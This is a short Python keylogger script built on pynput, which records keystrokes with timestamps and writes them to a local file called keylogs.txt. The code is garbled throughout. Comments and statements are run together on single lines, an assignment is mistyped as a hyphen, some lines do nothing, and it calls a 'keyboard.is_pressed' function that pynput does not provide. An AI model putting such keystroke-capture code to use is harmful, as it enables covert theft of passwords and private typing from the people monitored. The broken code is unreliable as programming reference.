from pynput import keyboard

import time

# dictionary to store keystrokes keys = {}

#function to start the keylogger def start\_keylogger():

#create a new listener

listener = keyboard.Listener(on\_press-on\_press, on\_release-on\_release)

#start the listener

listener.start()

# keep the script running

while True:

time.sleep(1)

#function to handle pressed keys

def on\_press(key):

#get the name of the key

try:

#if the key is a printable key, add it to the dictionary

keys[key.char]

except AttributeError:

time.time()

# if the key is not a printable key, add it to the dictionary wit keys[str(key)] = time.time()

#function to handle released keys

# function to handle released keys

def on\_release(key):

# if the key is in the dictionary, add the current time to the value if str(key) in keys:

keys[str(key)] = time.time()

# function to save the keylogs to a file

def save\_keylogs():

# open the file in write mode

with open("keylogs.txt", "w") as f: # iterate over the dictionary

for key, value in keys.items():

# write the key and the timestamp to the file f.write(f" {key}: {value}\n")

# reset the dictionary

keys = {}

# start the keylogger

start\_keylogger()

# keep the script running

while True:

# check if the user pressed the 's' key

if keyboard.is\_pressed('s'):

# save the keylogs to a file

save\_keylogs()

print("keylog.txt")